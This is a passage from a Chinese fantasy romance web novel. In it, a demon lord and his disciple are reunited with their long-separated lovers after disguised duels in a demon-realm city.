“…也好。”说到大将军,户部尚书就不那么激动了,可能是自小对大将军的一种崇拜心情在作怪吧。 如果说朝国的帝王是一段厚重的百年历史,是朝国的骨,那么朝国的大将军就是在民间那些津津乐道的小故事里的英雄化身,也就是朝国的魂。 总之,盛知许终于把这户部尚书给劝好了,让人不要那么闹腾地回家去,然后就坐下来,拿起那卷轴细细看了一眼,的确是要钱的没错,不过其中也加了一段说要在那燕北城开放商道。 这不只是要钱,还要地了。 因为根据他们研究发现,这魔气出现在凡人虽然是最猛的,但是也是最容易消除的,如果在妖族的地方就有妖会被感染魔气后秒天秒地,而凡人被感染魔气也很弱,弱得只需要几个修仙者过去帮忙看着就行。 灵气越少的地方越不容易出事,魔气传播得也慢…… 总之,就是凡人这燕北城很合适当商道使的意思。 盛知许沉默了一下,觉得这个真的得开一下会了,毕竟地比钱更重要:“他到底……” “想要做什么?”秦兰时真的很不解,毕竟在下边送来的文件里,他翻来覆去都只看到浮生阁那百年里轰轰烈烈的一生,都说他们背后靠着高人才步子跨那么大资金那么足的。 不过他们也的确成功在人与妖两族那里占得一席之地,有人说这浮生阁的阁主是妖,因为浮生阁的起源地是在妖族领地内,有人说是人族,并且为朝国办事,因为那位朝国陛下扶持这浮生阁出了不少力。 “就这些了吗?”秦兰时往旁边丢了一堆文件,慢悠悠地往下躺去,他不是第一次感觉到当魔主的艰难了。 “嗯,再多的,就找不到了,毕竟魔域与那边的消息不是很灵通,而且那断恶庭因为百年前由各个宗门所掌控,所以屠魔的行动也越发地扩大了。”林异也是无奈叹气。 可能这就是有宗门加持的好处?处处是断恶庭的成就就这样达成了呢。 “……关于我让你一直留意那人的消息呢?”秦兰时拿过一份文件拍在自己脑袋上。 “最近并无,似乎一直在宗门里修炼。”林异摇了摇头然后说:“魔主大人,莫要忧心,这也许是好事呢。” “唉…唉!”秦兰时长叹短叹了好一会儿后又问:“那姜公子住哪里可有眉目了?” “就咱们这城里普通的客栈,他的确带了一名护卫……魔主大人,我觉得他那个护卫有点危险。”林异想了想还是说道:“直觉告诉我,他能揍你。” 秦兰时:? “好啊你!你居然对你的魔主大人这样没有信心!!“秦兰时怒了一下,然后又问:“他们俩有什么行动?” “有。”林异继续说了:“他们好像一放下行李就直奔咱们余音坊了,并且指名要点咱们的魏韵公子。” “……?”又是一个秦兰时没看懂的操作。 才过了一百年,现在的正道都那么难懂的吗? “…说起来,我记得那魏韵好像在接待……” …… “你们的魏韵公子没空吗?”姜公子带着护卫过来逛了一下,就听说这魏韵好像接待一名贵客去了。 “是啊是啊……”那老板搓了搓手然后说:“毕竟那贵客身份尊贵。” “原来如此……”姜公子点了点头,然后说:“我明白了,那我们下次再……” “啊啊啊啊!我真的哭不出来了!您走罢!你快走罢!!”只听一个男高音于三楼那叫喊了起来。 姜公子和护卫一起抬头看去,然后他们看到那大开的房门,还有那被推出来的男子,那男子被推出来后就有不甘心地继续要往里走。 奈何那房门快速紧闭,任那男子怎么开都开不了,随后,他低低地骂了一句什么。 “这是……?” “咳咳咳!这是正常的!两位客官!不如看看我们其他曲儿?我们这的其他曲儿也好听……唉,魏韵公子现在估计没有心情唱了。”总之那老板叹了又叹,然后说:“每个月都这样的。” “每个月都如此吗?”姜公子好奇地说:“这贵客是非接不可吗?” “…咳咳,是的是的,非常重要的贵客。”老板抬手擦了一把汗,然后说:“我们走吧,这里还有其他……” 姜公子看了一眼那被赶出房门的男子,就点点头准备跟着那老板过去,而他身后的护卫也抬头看了那边一眼,安静地按上了腰间的剑。 “他们是谁?”突地,那三楼的男子不去吵那魏韵公子,反倒是趴于栏杆上好奇地往下问去。 老板抬起头看了他一眼道:“是……新来的客人。” “新来的……?”男子笑了一声,然后自上面一跃而下,他的面容平平无奇过头了,许是用法术易了容。 “那倒是有几分意思。” 他居然看不透这俩人的修为,可不是非常有意思么。 …… “在接待黑罗刹大人。”林异说完后,看了一眼秦兰时:“要提醒一下大人么?” “……嗯。”秦兰时想了想谢璟那脾气,然后说:“我亲自去一趟吧,毕竟谢二揍起人来没轻没重的。” 而且他也想看看那个传说中能揍他的护卫是何许人也。 第288章 打架爽 姜公子看着眼前试图找他们茬的不知名男子,瞧着这容貌平平无奇,一眼就晓得许是用法术遮掩。 于是他开始淡定无比地应对起这名男子:“嗯,是新来的,有事吗?这位公子。” “没有旁的事就不能聊聊了吗?”谢璟笑了笑,然后道:“话说,居然有我不知道的外来人,这不应该啊,你们是使了什么手段混进来的?” 想到这里,谢璟开始在想起念心城里头是不是出现了什么他不知道的内应,当然他想来想去都没想到是秦兰时让人不要通传的缘故。 不过就算知道也不会怎么样,主打的就是一个对百年来合作伙伴的信任。 “啊,这个啊,我不好说。”姜公子并未直言,因为这里还有其他人在看着:“您要是想知道,不如换个地儿再说?” “换个地方?”谢璟想了一下,总觉得对方不安好心:“那可不成,万一你们俩对我出手怎么办?” 老板已经隐身逃离了,把这地方留给他们仨。 “若是你觉得你连我们都打不过的话,请便,我们不会为难你的。”姜公子说话开始不是很恭敬了,并且带上了些许挑事的意味在里头。 “……”谢璟闻言笑了笑,当然,他笑完就动手了,他选择动手的原因有二,其一为试探对方的实力,其二他觉得这人欠揍。 几乎是一瞬间的事,站在姜公子后方的护卫拔出剑接住了谢璟这一击,谢璟一愣,然后又加大了几分力度,剑鸣肆起,震起的灵波扫去四周,把那些桌椅都给直直掀起,乱砸在了墙壁上。 姜公子不知何时站在了远处,看着他那护卫与谢璟的交锋,他在护卫的剑挡住的时候就往旁边闪去,把战场留给这俩人。 最后,谢璟甩了甩被对方的力道震得有些发麻的手,看过来的目光里带上些许探究:“倒是厉害。” 护卫不语,他只是较为沉默地抚了抚方才被震得凶猛的剑身,似乎在安抚里头的剑鸣,让剑安心些许。 谢璟见此也就再次举剑冲去,再来几分试探,剑上附着的凶煞至极的魔气让人不由得后背一寒,那护卫见此一顿,接着也拿着手中剑迎了上去,剑间起舞,乐声激昂。 俩人就这样交手了几轮后,谢璟的战意越来越猛,只不过他也明白要是再打下去怕是打上个七天七夜都分不出胜负。 当务之急应是…… 下一刻,却看那谢璟剑锋一转,直直地朝着那护卫打去,护卫下意识挡住,但是他很快反应过来了什么,只见谢璟借着这力,足尖狠踩于他那剑刃上,然后一跃而起,直直地朝着那边还在看戏的姜公子而去。 姜公子没有想到这厮意识到了要挑软柿子捏,当即往旁边一躲,侧着身子躲过了谢璟这一击,当然,半边袖子因为没躲过去断掉了。 “果然……”谢璟拔出墙壁里的剑,然后说:“你弱很多啊。” 姜公子摸了摸那破烂的半边袖子,叹了口气:“既如此,你不应该让让我么?” “让你什么?”谢璟还没和这姜公子说什么话呢,只见那护卫不知何时出现在了他身后,那速度很快,谢璟居然没有看清楚,紧接着,一阵强大的力道按住了他的脑袋,就那么直直把他往旁边的墙上砸了去。 不仅如此,这护卫还拿着剑威胁似地狠狠地扎入了他眼前的墙壁里,将他困在此处,而拿剑的那手腕上还戴着一条贝壳链子,正随风轻轻晃动着。 总之,现如今,他脑袋正被这人按住,压迫至墙壁上,眼前的剑将他所能看到的视野缩小了,这让人更能感觉到那护卫靠近他后身上那似乎有些熟悉的冷冽气息。 不过方才这脑袋砸墙好像不是很痛……谢璟想起这个就突然意识到了什么,他意识到这护卫居然还对他留手,什么意思,看他可怜吗? 幸好没有用魔尊的身份出动,不然就这样被压在墙上也太丢脸了。 姜公子看了看这里的情况,然后抬手拍了拍掌,似乎在为这场戏落下帷幕而感到高兴:“不要冲动嘛……” “当然,包括您,魔主大人。”姜公子幽幽叹了口气,他抬起手轻轻按在了不知何时横于自己脖颈那处的剑上,顺便往后一瞥:“怎么?是觉得我很好欺负吗?” “…你让他先松开人。”秦兰时围观了一切,在谢璟被人打到墙壁上之时才意识到这俩人的难搞:“不然………” 姜公子看了一眼下方的情况,没有人,人都因为方才的混乱跑没了,接着,他便笑了出来,并且还轻轻地往后一靠,直接靠在了秦兰时的身上。 秦兰时:? 刚想说你是不是有什么毛病的时候,就听到眼前的姜公子开口来了一句:“床前明月光?” “……疑是地上霜。”秦兰时本能地接住这句诗。 “举头望明月。”姜公子手上发力,看看能不能推开那剑,发现可以,于是就笑着推开这剑,缓缓转身继续道。 “……低头思故乡。”秦兰时说出这句诗的最后一句的时候感觉自己的声音有些干涩:“…你……” “好,来为你解释一下,这是我们浮生阁阁主要求要与您对的口号!”这姜公子说着就走过去,然后就过去示意他那个护卫把谢璟放开。 “……啊?”秦兰时那涌起来的相思之情突然停顿了一下,并且对这个剧情的走向有些迷离起来。 护卫松开了谢璟,然后继续安静地站在姜公子的身后,他看上去好像什么都不在意那样。 谢璟被放开后就果断地闪到秦兰时身边,揉了揉刚刚被按住的脑袋,并且凶狠地瞪着那个护卫看。 “所以,你觉得我们的合作是不是坚不可摧?”姜公子继续笑嘻嘻地说着:“还是说……百年过去,您已经变了心………” “没有!绝对没有!”秦兰时当即表态,虽然还不明白是什么情况,但是他直觉现在的自己必须得这样说才行。 “真的吗?那阁主会很开心的~”姜公子闻言笑了一下,然后说:“那没什么事,我就和护卫回去了。” “……不是,等等。” 秦兰时有事要说,但下一刻,他就看到这姜公子非常自然地直接往那护卫后背上一趴,对着他们俩自信地挥了挥手,然后双手拽起那护卫的两边长发,让其变成了双马尾。 “走了,不用太想我们~”姜公子甩了甩那双马尾,护卫也是不动如山地任由他把玩,就这样,在护卫的强悍实力下,秦兰时和谢璟就这样眼睁睁地看着他们俩消失在了眼前。 “………”秦兰时伸出的手还没放下来。 “……他们到底什么情况?”谢璟皱了皱眉头:“尤其是他那个护卫…你觉得你能打得过吗?” “…不一定。”秦兰时也想起方才的战斗,他摇了摇头,然后说:“不过…我得再去找他们聊聊才行。” “怎么?为了你那个道侣?”谢璟说着,然后看了他们离开的地方一眼:“你说的那句诗我都会背了,而且根据你所说,你们俩当初对暗号也有不少人看着,所以假扮的可能性也是有的。” “…我也明白。”秦兰时叹了口气,只不过,他还是觉得有什么不对劲的地方……不如说有个猜想一直在心头,只是他不敢去想而已。 因为…… 可能有点害怕见面吧。 毕竟……在离开的时候,是他拒绝了对方的……恳求,那双因为他拒绝后黯淡下的眼神,至今他怎么都忘不了。 …… 与此同时,姜公子和那护卫安全抵达了客栈,在检查一遍出门后没有人往这里塞其他东西后,就安心地开启了屏蔽护罩。 当然,是让那个护卫开启的,而那个护卫看了一眼已经坐下来的姜公子问道:“为何不表明身份?” 那姜公子缓缓转头,而他正在拿起桌上的茶壶自己给自己倒茶,顺便也给这好护卫也倒上一杯。 “山玉。”护卫低头看着那递给他的那杯茶。 递给他茶杯的主人正是那浮生阁的阁主,也是秦兰时的徒弟……还是他的好师侄。 “顾师伯啊,你明白吗?”唐山玉笑吟吟地看着顾延清,然后拿起属于自己的那杯茶喝了口。 “不明白。”顾延清接过这杯茶喝了一口。 “哈哈……”唐山玉笑了一下,然后放下茶杯说:“我这是在等人半夜过来夜袭我啊。” 顾延清:? “你为何那么断定?”顾延清顿了顿,好奇地问。 “信不信到了晚上的时候,那个黑罗刹谢二就会过来找你约架?”唐山玉说到这个名字不由得笑了出声:“好敷衍的假名,顾师伯你应该也猜得到他是谁吧。” “嗯。”顾延清轻轻应了一声。 “那你还下那么重手?”唐山玉倒是有些意外了,他还以为这人在看到谢璟后会直接不管他,当那个一心一意的恋爱脑了呢。 “我有用灵力护住他脑袋。”顾延清看了过来,淡淡道:“还有……他修为已经是化神了,他若认真攻击你,你会受伤,我打他,有分寸,他现在打你,没分寸。” “…对哦,师父打徒弟好像也是天经地义……”唐山玉莫名想起自己练剑的那段日子,作为剑修的师父下手可狠了,也就谈上后下手轻一点,可若真要打…… 唐山玉略有悲伤地喝着茶:“好了,不说了,等着人就行,到时候你和谢璟在外头别回来了,我师父交给我来处理就好。” “好。”顾延清点了点头,他刚好也想私下和谢璟交谈一会儿。 反正…… 都等那么久了,也不差那么一会儿。 第289章 真真假假 虽说魔域没什么白天黑夜可言,有的也就只有那红色代替了蓝色,为现如今的魔域带来那片刻的光明。 但魔族也是要休息的,而休息的时刻便是那夜晚,当那吵闹的浪声退去后,留下来的便是那属于魔域的静夜。 唐山玉自然是安心地躺在床上,开始准备入睡,而顾延清充当着那护卫,尽职尽责地守在一旁,突地,灵火微晃,似有无形的气流涌入其中。 顾延清转头看去,淡淡道:“…我先去查看一下情况。” “好。”唐山玉点点头,然后也坐了起来,他看着外头的夜,浑浊无比的夜色下没有星辰与月,所以魔域没什么浪漫可言。 非要说魔域里的浪漫便是追求着强者,挥霍着自己的力量,同时也会为强者的落幕而欢呼。 无序,混乱,没有什么规则可言。 秦兰时在这里倒是做得挺不错的,从进这念心城后,他看到了和人类社会相似的秩序,虽说这秩序只靠那强者维持着,但是也勉强够用。 魔族只会向强者俯首称臣,也不知是传统还是那血脉使然。 而入魔的修士与妖也会因这魔气所感染,而环境的弱肉强食容易让他们失去以往的坚持,所以有的魔修为了自己那残存的理智并不会选择来到这魔域,而是躲在修仙界的各个地方为祸人间。 在顾延清拿着剑离开后,唐山玉就觉得有些渴意,他便起身下了床,去倒杯茶喝,茶水已凉,应是送客之意,不符合他要迎客的心。 于是,他便使了些灵力,加热了这壶茶,外衣随意披在肩上,里头是单薄的里衣,他开始想象着接下来应该如何应对接下来的那人比较好呢。 另一边,顾延清追着那踪迹一路向前,最后发现这人把他引至了城外,他略一沉吟便停下了脚步,转过头,看着不知何时来到了他身后的谢璟。 此刻的谢璟戴着个黑罗刹面具,手上拿着那血红的剑,那并不是顾延清所熟知的万古,若他所猜没错,那应是传闻中的魔剑无极。 “来了?刚好,我有些东西要和你讨教一二。”谢璟周身环绕起那黑色闪电,那也并非顾延清所熟悉的光亮,它的光已被玷污,变成了扭曲的黑色。 想到这里,顾延清便率先开口了:“你要讨教什么?” “唔……”谢璟摸了摸下巴,装作在思索什么,随后他语气含笑道:“和你讨今日你用我脑袋砸墙之仇?” “那应该不痛。”顾延清淡淡地说,并且下意识地用指尖轻碰那腕间的链子:“但,让你不高兴了,我道歉。” “没必要,我不需要。”谢璟摇了摇头,直截了当地说:“你我再打一场吧,我就不信打不过你了。” 顾延清闻言看了那城里一眼,然后点点头:“可以。” 于是,他拔出了自己的剑,这天青剑作了些许伪装,所以并未展现出它那独有的冷意,刹那间,剑光尽泄而出,化作那乱影朝着谢璟而去。 与此同时,另一边,唐山玉坐在房间里头,把玩着手里的茶杯,很快,又是一阵风袭来,这风打开了他的房间门,急切的,像当年毫不留情地扰乱他心绪那般。 唐山玉看了过去,就看到那秦兰时打开了那房间门,然后关上,慢步朝他这边走来,一步两步……在第三步的时候,秦兰时停了下来。 “怎么不往前?”唐山玉笑了一声,然后说:“怕我?” “…你似乎早有预料。”秦兰时看了看此人淡定无比的模样,便警惕地看了看四周,没有暗器,也没有暗中潜伏的杀手。 “来,坐,喝茶吧。”唐山玉拍了拍那桌子,慢悠悠地说道:“我等你好久了。” “是吗?倒是我的不是了。”秦兰时想起那出去帮忙把那护卫带到外头的谢璟,略有不安,孩子应该还能回来吧。 总之,秦兰时坐下来了,然后坐在了唐山玉的对面,此时唐山玉并未主动褪下伪装,他依旧云淡风轻地举起茶杯邀秦兰时共饮。 “什么事?快说。”秦兰时拿着茶杯没有喝,就这样玩着。 “不是你寻我有事吗?”唐山玉挑了挑眉,然后说:“我都那么好心等你了,你应该知足才是。” “……哦,我想问问你们阁主……”秦兰时想起自己要过来做什么了,于是便清了清嗓子问道:“他过得…还好吗?” “不好。”唐山玉直截了当地说了:“一点都不好。” “…怎么不好个法。”秦兰时继续支支吾吾,他打算听点坏事来自虐一下自己的心,顺便……多听听那个人的事情。 “不告诉你。”唐山玉摇了摇手指说:“除非…你用别的来换。” “……你想要什么?”秦兰时提高了些许警惕,并且又看了一圈这房间,普普通通的,装饰也很普通。 “我不要什么。”唐山玉说着,然后作势想了一下:“我也想听听你的事,尤其是坏的,让我听来高兴高兴~” “…你看上去好像对我颇有微词。”秦兰时听到这好像在幸灾乐祸的话语挑了挑眉:“怎么?我对你做过什么吗?” “对,很严重,严重到我至今念念不忘。”唐山玉叹了口气,然后说:“本来我是没想要来的,可是奈何抵不住我对你的浓郁怨念,所以我来了。” “…你会把这些事告诉你那阁主吗?”秦兰时继续问着,最后他摆烂了:“算了…你爱说不说。” “…说吧,你说完我就说关于阁主的事。”唐山玉笑吟吟地看着秦兰时,然后喝了一口茶。 秦兰时叹了口气,微微张嘴……然后又闭上:“不对,万一你不是浮生阁的怎么办?” “……你不是都喊人认证过了吗?”唐山玉欲言又止地看着这人。 “万一你是内鬼呢?不行,这种事我得亲自和他说。”秦兰时觉得此事颇有蹊跷,怎么那么巧就送上门个浮生阁,并且还和唐山玉有关系,甚至看上去他对阁主的事情了如指掌,那就更可疑了。 毕竟他手底下的人都不敢打包票说对他这个渊行楼的楼主了如指掌。 “哈啊……”唐山玉重重地叹了口气,他站了起来,然后说:“那没办法了……那你走吧,不送。” “……”秦兰时盯着这人看了一会儿后,突地,他伸出手就要朝人身上抓住,唐山玉没有想到秦兰时突然上手,一个转身躲闪了过去。 “…喂?你要做什么?”唐山玉之所以没有表明身份,也是有些怨气在,反正就是,不爽不爽不爽围绕在了他周身的气场里。 “做什么?当然是趁着你那个护卫不在,欺负你啊。”秦兰时倒要看看这法术易容的背后到底是谁,他挥了挥手上魔气,笑了一下:“要是不想被我看到真容,那就尽情地躲吧。” 唐山玉:…… 唐山玉一下子逆反心理就上来了…当然还有也想试试面对化神他能做到哪一步,就当作是一场考验得了。 于是……秦兰时再次伸手朝唐山玉抓来,而唐山玉一把扯下那床帘子朝着这人身上挥去,然后就准备开门就跑……然后他发现这门被人锁得严严实实的,并且还弄了阵法。 “可不要跑出去呀,跑出去的话会吵到其他人睡觉的。”秦兰时笑嘻嘻地一把扯下手上的床帘子,往旁边一丢,就慢悠悠地走了过来,虽说有试探之意,不过他也发现这人实力不过只是个金丹后期的水准,也不知浮生阁为何派他过来。 过来找死吗? 不过想想那实力强悍的护卫,好像也能理解一二。 秦兰时见这人躲到了那屏风那头,并且直勾勾地往这边看,不免有些好笑:“干脆点,直接被我抓住得了,这点实力也不知哪来的信心给我设这个局,还说等我。” “小修士……” 唐山玉死死地盯着秦兰时的身影,突地,他看到眼前的人影一晃,就这样,秦兰时消失在他的视野里了。 一想到秦兰时那喜欢背后偷袭人的习惯,唐山玉毫不犹豫地直接往后一看,这一看,他看了个空。 “我教你一点,你这种修为什么时候都不要离开你那好护卫的身边才是。”一只手猛地朝着唐山玉的眼前狠狠地抓了过来,看上去就要往唐山玉的脖子那一掐。 唐山玉啧了一声,然后……取出了符纸,毫不留情地打在了秦兰时的手上,顿时火焰肆意燃起,而他也得此往一旁躲去。 “…倒是小瞧你了。”秦兰时看了一眼这火焰,合拢五指掐灭了它:“速度还挺快的……不过……” “你不是玩符的吧?”秦兰时甩了甩手,那符纸灰轻飘飘地落在了地上:“我看得出来,所以,不想被我撕破你的假面,就拔剑吧,小修士。” 唐山玉一愣,然后就看到秦兰时再度朝着他这边而来,下意识地,他拿出了储物袋的一样东西,然后就直直朝着秦兰时那边打了过去。 与此同时,顾延清那边也战得差不多了,只不过他发现谢璟的攻击方式好像都集中于他的脸部,是想看他的脸吗? 看来,这是他们此行的目的了。 顾延清思考了一下,他在犹豫要不要让谢璟看到自己的脸,不过唐山玉没有说让也没有说不让。 这里是城外,此地只有他和谢璟二人,被看到应当也无妨,只是…… 这一愣神的功夫就被对面的谢璟察觉到了,谢璟见这人和他打架也三心二意,当即怒从心中来,直接收起剑转身就走。 这一走把顾延清的神拉回去了,他本能地往谢璟那边走了几步问:“怎……” 下一刻,谢璟转过头来,唰的一下举起剑,朝着顾延清的头部攻击过去,下意识的,出于多年的战斗本能,顾延清也举起了剑,朝谢璟挥去。 风流在刹那间涌动而起,也在一瞬间静止于这长夜。 只见谢璟的剑横在顾延清脖颈处,而顾延清脸上的易容法术也是刹那被谢璟的剑气所击溃,与此同时,谢璟那面具也被顾延清的本能反应下斩出的剑气劈成了两半,连同谢璟脸上的易容法术一起,碎落了下来。 谢璟看到了顾延清的脸,陌生又熟悉,而顾延清也终于看到了那日思夜想的容貌,熟悉又陌生。 而唐山玉手里的的那个彩鸡毛掸子也在这个时候,终于精准落了地,它落在了秦兰时的身上,并且还重重打在了秦兰时的脑瓜子上。 那一刻,秦兰时的眼神清澈了起来。 第290章 静静重逢了 此刻,寂静无声。 不管是唐山玉和秦兰时之间,还是外头的顾延清与谢璟,所有人都为这百年后的相逢放轻了呼吸。 百年有多久? 其实对于修仙者来说很短,或许只需要打个坐,闭上眼,那百年光阴就这般随风而去。 但,对于凡人来说,真的很长很长,长到一位豆蔻年华的姑娘那乌黑的发丝间染上那洁白的雪,那炯炯有神的眸光变得浑浊难明。 那么对于渴望重逢的人来说呢? 唐山玉无声地抿一下唇,随后偏一下头,他将那彩鸡毛……不,应该是凤凰毛掸子默默拿起来,然后对着秦兰时的胸口那指指点点了一下后就重新收了回去。 此刻,他是少有的无言,似乎是为了这百年来的等待,也有为那百年前的那次极少人所知的流泪。 秦兰时也是难得的无言,他看了看自己那维持好的扑过去的姿势,本来应该是伸手抓人的,现在被他变了一下,变成了讨抱的姿态。 并且眼神也没有方才那般凶了,变得可怜巴巴起来,好像是许久未见到主人的小猫咪正在试图和人黏糊那样,那猫尾巴正像秦兰时此时此刻的眼神,有一阵没一阵地扫过唐山玉的心,让其变得痒痒的。 “……”唐山玉垂眸了一下,然后偏过头去:“干什么?” “……”秦兰时继续可怜巴巴地看着人,继续维持着那个要抱抱的姿态。 “………”唐山玉沉默,或许在考虑些什么,不如说他在分析现在过去拥抱的话会不会让这人下次离开自己更加勤快。 唐山玉能够尊重并且理解分离,但是他并不喜欢。 “…山……”秦兰时刚想开口说什么,就被唐山玉止住了话头,只见唐山玉竖起一根食指抵在唇边,轻嘘了一声,似乎的制止他什么。 “喊我姜公子。”唐山玉淡淡地说,然后看了外头的魔域夜色一眼,似乎在想着些什么。 “…咳咳,姜公子……”气势比刚才弱了很多,秦兰时见人好像不想抱自己,就默默收起手,正准备挪着步子过去,才一步呢,只见那唐山玉版本姜公子抬起手,冲他摇了摇手指。 “当初是你要分开~分开就分开~”只见这唐山玉盯着秦兰时默默地唱起了歌,这歌声可谓是控诉了许久的怨念:“现在又要用真爱~把我哄回来~” 秦兰玉:…… 不敢吭声。 唐山玉见接下来和化神的打架可能性为零了,就叹了口气,于是他往上提了提因为刚才剧烈运动而差点要掉落的外袍。 秦兰时目不转睛地看着,就这样保持着一个距离,而唐山玉沉默了一下就绕过这只秦兰时,准备回桌子旁边喝一口茶。 然后他就直接被秦兰时给伸手拦住了,只见人还在不死心地看着他,并且流露出好像要被抛弃的可怜巴巴神情。 唐山玉:…… 当初抛弃他的不是这人吗? 现在这是在……? 秦兰时不管,秦兰时觉得此时此刻应该不要脸一点。 “我……我错了……”秦兰时张嘴就是对不起,听得唐山玉直皱眉。 “不是你的错。”唐山玉摇了摇头,最后他还是伸出手将秦兰时揽入怀里,轻轻地摸了摸他的脑袋:“是我的错,是我太弱了。” “如果我没有那么弱,你就不会丢下我走了。”唐山玉一边抱住人一边叹气道。 怀抱是温暖的,话语是冰冷的。 秦兰时可谓是冰火两重天。 他张了张嘴想要说什么,最后都默默吞咽了下去。 因为唐山玉抱住他说了那几句话后就掐住他的后腰,阻止他继续说话,这非常强势了,今天都不知道多少次被捂嘴了。 秦兰时能怎么办,他只能安安静静地被抱了,可抱着抱着,突地,他好像感觉到一抹温热落于他的后颈处。 轻轻的,像轻蝶跌落花丛里,翻起的滚滚红浪,那春风带来的香气随风卷起一地落花,扑了满天。 “我…山玉……我………”秦兰时回抱了回去,最后,他也和唐山玉一样轻轻地摸了摸对方的脑袋。 他们互相拥抱着,又像个大人那般轻抚着对方的脑袋,他们把对方当做自己最疼爱的孩子。 …… 与此同时,另一边,在顾延清和谢璟彼此的伪装破灭后,他们之间也是长久的沉寂,顾延清是不知道先开口说什么,而谢璟则是觉得自己心跳得厉害。 似乎是慌的。 这和先前在水镜里遥遥一望不同,这个名字叫做顾延清的人可是就这样活生生地站在他眼前,并且用那双冰冷的眸子注视着他。 在这样的目光下,谢璟果断地收起剑转身就走,不然他就要败给自己此时此刻翻涌起来的情绪,那是谁的,是以前的他的吗? 为何就算过了百年还残留的,还是说,它们一直没有消失,只是在等待着,等待着见到那个人重新苏醒。 “…等等。”顾延清见人什么也不说就走,当即跟上去,他抬起手似乎想要抓住什么,但是最后却尽那人离去的风尽倾于手心里。 谢璟没有回话,只是出于本能地往回走去。 顾延清见此也就加快了速度,直接挡在了谢璟的面前,他顿了顿然后说:“阿璟……” “…你谁?”谢璟终于开口了,他啧了一声,偏了一下头不去看顾延清:“我不认识你,别喊那么亲昵。” “…我是你……”顾延清见谢璟的眼神全然是陌生的,就算里头翻涌的激烈情绪也还是陌生的。 “我知道!秦兰时说你是我的师父,可那又怎么样?”谢璟打断了顾延清的话,说完后他像是有些无可奈何:“就算你们再怎么说都好,我都已经不是以前的那个谢璟了。” “换而言之的就是,你们爱的那个过去的谢璟已经不在了,我不是他,我不是那个谢璟。” 如果我是他的话,如果我是他的话…… 又能怎么样呢? 反正现在这样的自己肯定没有先前那个谢璟温柔吧,在失忆后,他因为迷茫和害怕所建立起来的厚墙隔绝了所有人,现在除了秦兰时能偶尔进去外,其他人他都将其隔绝在外。 因为下意识地排斥魔域的一切,但是自己又不得不需要这一切,于是他说服了自己是魔尊,自己是属于这里的,只有这样才能活下去…… …… 他为什么要这样活下去? 搞不懂。 他活下去是想要去做什么? 这一切就连他自己都不知道。 “别把我当做和他一样,也别……”谢璟的嘴还在发力,而在这个时候顾延清也抬起手捂住了他的嘴。 谢璟:……? “…抱歉。”顾延清松开手,然后说:“我是想让你听我好好说。” “所以就强制捂我嘴吗?没想到你看着人模狗样的,原来那么霸道。”谢璟说完后也就安静了,他倒是要看看这个人要说什么。 “嗯,那我说了。”顾延清点了点头,然后说:“我喜欢你好久了。” …… 谢璟沉默。 谢璟在等。 谢璟在困惑。 “然后呢?”按照话本子不应该还有下一段话吗?比如确认关系什么的。 “没有了,这是我想说的。”顾延清老老实实地想了又想,最终只是摇摇头。 “…哦。”谢璟在分析情况,谢璟在想任何话本子好像都没有描绘过此时此刻的奇妙场景。 “…你要回去了吗?那我们一起吧。”顾延清看着谢璟好像在出神,就开口道:“还是说,你还要再打一场?” 谢璟回神了,并且用那种复杂的眼神看向顾延清:“等一下,如果按照秦兰时的说法……你比我大一千多岁了吧?” 顾延清顿住。 属于秦兰时的大龄焦虑终于还是来到了顾延清的身上。 第291章 干活干活 顾延清难得沉默了一下,不为别的,他在思考,思考一千多岁相差得是不是特别多。 谢璟见人在思考,便又继续说:“我是不太相信的,你们这些大年纪的……又怎么会喜欢上个两百多岁的小孩?” “原来我这两百年居然在你这千年时光里是那么珍贵吗?”谢璟说着,反倒是想起秦兰时说起他自己和那个叫做唐山玉的恋爱故事,那对师徒的特别谢璟倒是能够理解一下,可自己和这位天青剑尊之间的情……又该何解? “自然。”顾延清回答得极快。 “………”谢璟不知怎的就是不相信,最后他只是慢悠悠地说:“哦,行,那就当是那样吧。” 顾延清听到谢璟语气里的敷衍,当即问道:“你不信?” “天青剑尊,这百年里你也应该晓得我的魔尊身份才是,你和我说这些,莫不是想勾结魔族?”谢璟摇了摇头,并不打算和这人多扯,他准备回去了,顺便平复一下自己此时此刻的心情。 “那又如何?我的心意和你是否是魔尊无关。”顾延清又闪到了谢璟的面前,拦住对方的去路。 因为实力没对方强悍的谢璟只能苦苦地看着顾延清肆无忌惮地拦他的路:“…哦,我知道了,那你让开,我要回去了。” “……”顾延清听到这人敷衍的话语,沉思了一下,然后他凑近了些许过去,这让谢璟本能地往后退了一步。 “…做…做什么。”谢璟警觉了一下,只见下一刻,这人突然拉起他的手,举至唇边,然后于那手背上轻轻地落了一吻。 轻柔的,唇擦过那处带来的酥麻和温热然后谢璟本能地蜷缩了一下指尖。 “如此,可能证明我所言非假?”吻完后,顾延清也并未松开谢璟的手,而是依旧握着,他的视线轻轻地落在谢璟的唇上:“若你还是觉得不够证明,我可以……” “不,可以了。”被亲过的地方好似在发烫,而那视线的赤裸也让这抹烫度直接燃烧至了心口,谢璟直接收回了手说:“我信了,走吧。” “……你还是不信。”顾延清见这人除了想躲就是想躲。 “……到底是你不信,还是你想亲我?”谢璟咬牙切齿地笑了一下,然后看过去:“你刚刚占我便宜,我还没说什么呢?不要得寸进尺。” “…嗯。”顾延清应了一声,什么也没说。 而后,等顾延清和谢璟回来之时,他们看到的是面对面坐着喝茶的唐山玉与秦兰时,此时唐山玉脸上的伪装还是没有掉,依旧是那姜公子的模样。 谢璟发现秦兰时似乎四周的气场乖巧了不少,宛若那收起爪牙的野兽。 顾延清发现唐山玉还是那副淡淡的模样,也不知他们之间是谈了什么。 “回来了?来~要坐吗?”秦兰时见他们回来后,而且那顾延清还露出了那真容,秦兰时顿时一副果然如此表情:“好久不见啊。” 唐山玉继续喝茶,没有回话,实际上他用余光默默地扫了一眼那谢璟,然后又收回去了。 “嗯。”顾延清点了点头,应了声。 “不坐,我现在就走。”谢璟直接拒绝了,他就是过来看一眼情况怎么样。 “…嗯?”顾延清刚往前走了一步,然后就顿住,紧接着,他看向了谢璟。 “…我得回去了,我出来有点久了。”谢璟避开了顾延清的视线,转头和那秦兰时开口道:“有什么事传讯过来就行。” 秦兰时看看那边的顾延清,又看看这边的谢璟,刚想说什么的时候就被唐山玉出声打断了:“魔尊大人,既然你要走的话,把我的护卫也给带上吧。” 谢璟:…… 顾延清:嗯。 “我为什么要……”谢璟刚想开口说什么呢,就看到那边的姜公子版本的唐山玉将手里的茶杯重重放下。 很重的一声。 秦兰时浑身抖了一下。 顾延清也不知为何顿了顿,也不看谢璟了,转去看地板。 